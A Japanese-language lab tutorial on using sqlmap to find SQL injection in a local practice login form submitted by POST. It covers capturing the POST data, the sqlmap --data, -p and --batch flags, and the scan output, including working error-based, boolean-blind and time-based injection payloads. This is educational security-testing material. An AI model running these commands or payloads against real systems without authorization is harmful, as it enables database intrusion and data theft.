はじめに
SQL インジェクションは、アプリケーションがデータベースに対して行うクエリに攻撃者が干渉することを可能にする、重大なウェブセキュリティ脆弱性です。多くの例では URL パラメータ(GET リクエスト)の脆弱性に焦点が当てられていますが、POST リクエスト経由でデータを送信するフォームも一般的なターゲットとなります。
この実験(Lab)では、強力なオープンソースのペネトレーションテストツールであるsqlmapを使用して、SQL インジェクションの欠陥の検出と悪用プロセスを自動化する方法を学びます。具体的には、POST メソッドを使用してデータを送信するウェブフォームをターゲットにすることに焦点を当てます。POST データをキャプチャし、それをsqlmapに提供して包括的なスキャンを実行する方法を学びます。
POST メソッドを使用する Web フォームの特定
このステップでは、シンプルな Web サーバーを起動し、HTTP POST メソッドを使用する Web フォームを特定します。POST リクエストは、リソースを作成または更新するためにサーバーにデータを送信するように設計されており、ログインフォーム、コメント、またはその他のユーザー生成コンテンツを送信するための一般的な方法となっています。
まず、サンプル Web アプリケーションが実行されていることを確認しましょう。curlを使用してメインページを取得できます。
ターミナルで以下のコマンドを実行してください。
curl http://localhost:8000
シンプルなログインページの HTML ソースコードが表示されるはずです。出力の中から<form>タグを探してください。
<!DOCTYPE html>
<html>
<head>
<title>Login Page</title>
</head>
<body>
<h2>Login Form</h2>
<form action="login.php" method="POST">
<label for="username">Username:</label><br />
<input type="text" id="username" name="username" /><br />
<label for="password">Password:</label><br />
<input type="password" id="password" name="password" /><br /><br />
<input type="submit" value="Login" />
</form>
</body>
</html>
<form>タグ内のmethod="POST"属性に注目してください。これは、ブラウザにフォームデータを POST リクエストを使用してlogin.phpスクリプトに送信するように指示します。これを特定することは、sqlmapスキャンの準備における最初のステップです。デスクトップから Firefox ブラウザを開き、http://localhost:8000にアクセスしてフォームを視覚的に表示することもできます。
ブラウザの開発者ツールを使用して POST データ文字列をキャプチャする
このステップでは、POST リクエストによって送信されるデータ文字列をキャプチャする方法を学びます。sqlmapは、SQL インジェクションのテスト対象となるパラメータを知るためにこのデータが必要です。この情報を取得する最も簡単な方法は、ブラウザに組み込まれている開発者ツールを使用することです。
- LabEx 環境の左側アプリケーションドックからFirefoxブラウザを開きます。
http://localhost:8000にアクセスします。F12キーを押すか、ページを右クリックして「検証」を選択して開発者ツールを開きます。- 開発者ツールパネルのNetworkタブをクリックします。
- ログインページで、フォームフィールドにダミーデータを入力します。例えば、ユーザー名に
test、パスワードにtestを使用します。 - Loginボタンをクリックします。
- Network タブに
login.phpのエントリが新しく表示されます。それをクリックします。 - 新しいパネルが開きます。「Request」または「Payload」という名前のタブを探します。ここに、サーバーに送信されたフォームデータがあります。以下のような形式です。
username=test&password=test
この文字列username=test&password=testは、まさにsqlmapに必要なものです。パラメータ名(username、password)と送信した値が含まれています。
次のステップのために、このデータ文字列を~/projectディレクトリ内のファイルに保存しましょう。これはsqlmapを使用するために必須ではありませんが、発見したものを追跡するための良い習慣です。
echo 'username=test&password=test' > ~/project/post_data.txt
--dataフラグを使用して POST パラメータを指定する
このステップでは、--dataフラグを使用した基本的なsqlmapコマンドを構築します。このフラグは、sqlmapに POST リクエストを送信すること、およびリクエストボディに含めるデータを伝えるために不可欠です。
sqlmapでの POST スキャンの基本的な構文は次のとおりです。
sqlmap -u "TARGET_URL" --data="POST_DATA_STRING"
-u "TARGET_URL": フォームデータを処理する URL を指定します。この場合、http://localhost:8000/login.phpです。--data="POST_DATA_STRING": 前のステップでキャプチャしたデータ文字列を提供します。
sqlmapがこの情報をどのように処理するかを確認するために、コマンドを実行してみましょう。以前に見つけたデータ文字列を使用します。このコマンドはまだ完全なスキャンを実行しません。sqlmapが POST パラメータを正しく識別することを確認するのに役立ちます。
ターミナルで以下のコマンドを実行してください。
sqlmap -u "http://localhost:8000/login.php" --data="username=test&password=test"
sqlmapが起動し、初期情報が表示されます。リクエストが POST リクエストであることを正しく識別し、usernameとpasswordパラメータを見つけます。その後、それらをテストするかどうかを尋ねてきます。
[INFO] POST parameter 'username' is dynamic
[INFO] POST parameter 'password' is dynamic
[WARNING] POST parameter 'password' looks like a password field. Do you want to mask its value in further requests? [Y/n] n
[INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 5 HTTP(s) requests:
---
Parameter: username (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (subquery)
Payload: username=-1695' OR 1 GROUP BY CONCAT(0x71787a7a71,(SELECT (CASE WHEN (1695=1695) THEN 1 ELSE 0 END)),0x7170766b71,FLOOR(RAND(0)*2)) HAVING MIN(0)#&password=test
Parameter: password (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: username=test&password=test' AND 2195=2195 AND 'zxcv'='zxcv
---
[INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/localhost:8000'
[*] ending @ ...
パスワードのマスキングについて尋ねられたらnを押し、その後sqlmapは続行します。このステップでは、実行させるか、パラメータを識別した後にCtrl+Cを押して終了させることができます。重要なのは、--dataフラグの仕組みを理解することです。
POST データを使用してターゲット URL でスキャンを実行する
このステップでは、ターゲットに対してフルスキャンを実行します。プロセスをよりスムーズで非対話的にするために、sqlmapコマンドにいくつかのフラグを追加します。
-p "username": このフラグは、sqlmapにテストの労力をusernameパラメータのみに集中させるように指示します。特定のパラメータが脆弱であると疑われる場合、これにより多くの時間を節約できます。--batch: このフラグは、sqlmapに通常尋ねるすべての対話的な質問に対してデフォルトの回答を使用するように指示することで、プロセスを自動化します。これは、無人スキャンを実行するのに非常に役立ちます。
それでは、すべてを最終的なコマンドにまとめましょう。login.php URL をターゲットにし、POST データを提供し、テスト対象としてusernameパラメータを指定し、バッチモードで実行します。
ターミナルで以下のコマンドを実行してください。
sqlmap -u "http://localhost:8000/login.php" --data="username=test&password=test" -p "username" --batch
sqlmapは、usernameパラメータの包括的なスキャンを開始します。脆弱なスクリプトはデータベースの遅延をシミュレートするためにsleep()関数を使用しているため、sqlmapはおそらく時間ベースのブラインドインジェクション技術を使用します。このタイプのスキャンは、sqlmapが複数のリクエストを送信し、脆弱性を確認するために各応答時間を測定する必要があるため、数分かかる場合があります。
実行中に、以下のような出力が表示されます。
...
[INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
...
スキャンが完了するまで待ちます。usernameパラメータが脆弱であることを確認します。
POST ベースの SQL インジェクションの結果を分析する
このステップでは、sqlmapからの出力を分析して、それが発見した脆弱性を理解します。前のステップのスキャンが完了すると、sqlmapは発見事項の概要を提示します。
最終的な出力は次のようになります。
---
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=test' AND (SELECT 6113 FROM (SELECT(SLEEP(5)))bYjb) AND 'TEST'='TEST&password=test
---
[INFO] the back-end DBMS is 'MySQL >= 5.0.12'
web server operating system: Linux
web application technology: PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/localhost:8000'
この結果を分解してみましょう。
- Parameter: username (POST): これは、POST リクエストの
usernameパラメータで脆弱性が発見されたことを確認します。 - Type: time-based blind: これは SQL インジェクションのタイプです。「ブラインド」とは、アプリケーションが応答でデータベースエラーを返さないことを意味します。「時間ベース」とは、
sqlmapが時間遅延(例:SLEEP(5))を引き起こすコマンドを挿入し、サーバーの応答時間を測定することによって脆弱性を確認したことを意味します。 - Payload: これは、
sqlmapが脆弱性を確認するために使用した実際の悪意のある入力を示します。
sqlmapは、ログや結果を含むすべてのセッション情報をディレクトリにも保存します。場所は出力に記載されており、通常は~/.sqlmap/output/です。このディレクトリを検査して、スキャンの詳細なログを見つけることができます。
ターゲットの結果ディレクトリの内容を一覧表示してみましょう。
ls -l ~/.sqlmap/output/localhost:8000
logやsession.sqliteのようなファイルが表示されます。logファイルにはスキャンの完全な記録が含まれており、詳細な分析やレポートに役立ちます。
total 24
-rw-r--r-- 1 labex labex 15589 Dec 6 15:30 log
-rw-r--r-- 1 labex labex 8192 Dec 6 15:30 session.sqlite
-rw-r--r-- 1 labex labex 0 Dec 6 15:29 target.txt
これで、sqlmapを使用して POST ベースの SQL インジェクション脆弱性を正常に特定および確認できました。
まとめ
この実験では、POST メソッドを使用する Web フォームにおける SQL インジェクションの脆弱性をテストするために sqlmap を使用する方法を学びました。POST フォームを特定し、ブラウザの開発者ツールを使用して必要なデータ文字列をキャプチャし、sqlmap で--dataフラグを使用して POST パラメータを指定しました。最後に、自動化のために--batchおよび-pフラグを使用してスキャンを実行し、結果を分析して時間ベースのブラインド SQL インジェクションの脆弱性を確認しました。このプロセスは、Web アプリケーションセキュリティテストにおける基本的なスキルです。


